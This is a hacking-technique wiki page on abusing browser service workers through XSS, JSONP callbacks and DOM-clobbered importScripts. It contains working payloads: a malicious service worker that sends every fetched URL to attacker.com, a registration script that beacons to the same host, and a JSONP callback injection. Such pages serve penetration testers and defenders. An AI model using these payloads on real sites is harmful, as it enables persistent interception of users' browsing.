Abusing Service Workers

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.

Try Hard Security Group

Join the Try Hard Security Discord Server!Discord

Basic Information

A service worker is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing offline and background processing capabilities. Detailed information on service workers can be found here. By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.

Checking for Existing Service Workers

Existing service workers can be checked in the Service Workers section of the Application tab in Developer Tools. Another method is visiting chrome://serviceworker-internals for a more detailed view.

Push Notifications

Push notification permissions directly impact a service worker's ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.

Attack Creating a Service Worker

In order to exploit this vulnerability you need to find:

A way to upload arbitrary JS files to the server and a XSS to load the service worker of the uploaded JS file
A vulnerable JSONP request where you can manipulate the output (with arbitrary JS code) and a XSS to load the JSONP with a payload that will load a malicious service worker.

In the following example I'm going to present a code to register a new service worker that will listen to the fetch event and will send to the attackers server each fetched URL (this is the code you would need to upload to the server or load via a vulnerable JSONP response):

self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    fetch('https://attacker.com/fetch_url/' + e.request.url)
});

And this is the code that will register the worker (the code you should be able to execute abusing a XSS). In this case a GET request will be sent to the attackers server notifying if the registration of the service worker was successful or not:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
  .then(function(registration) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/success", true);
    xhttp2.send();
  }, function (err) {
    var xhttp2 = new XMLHttpRequest();
    xhttp2.open("GET", "https://attacker.com/SW/error", true);
    xhttp2.send();
  });
});
</script>

In case of abusing a vulnerable JSONP endpoint you should put the value inside var sw. For example:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.

The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.

Abusing `importScripts` in a SW via DOM Clobbering

The function importScripts called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.

This even bypasses CSP protections.

Example vulnerable code:

index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
  // attacker controls location.search
</script>

sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

With DOM Clobbering

For more info about what DOM Clobbering is check:

pageDom Clobbering

If the URL/domain where that the SW is using to call importScripts is inside a HTML element, it's possible to modify it via DOM Clobbering to make the SW load a script from your own domain.

For an example of this check the reference link.

References

https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering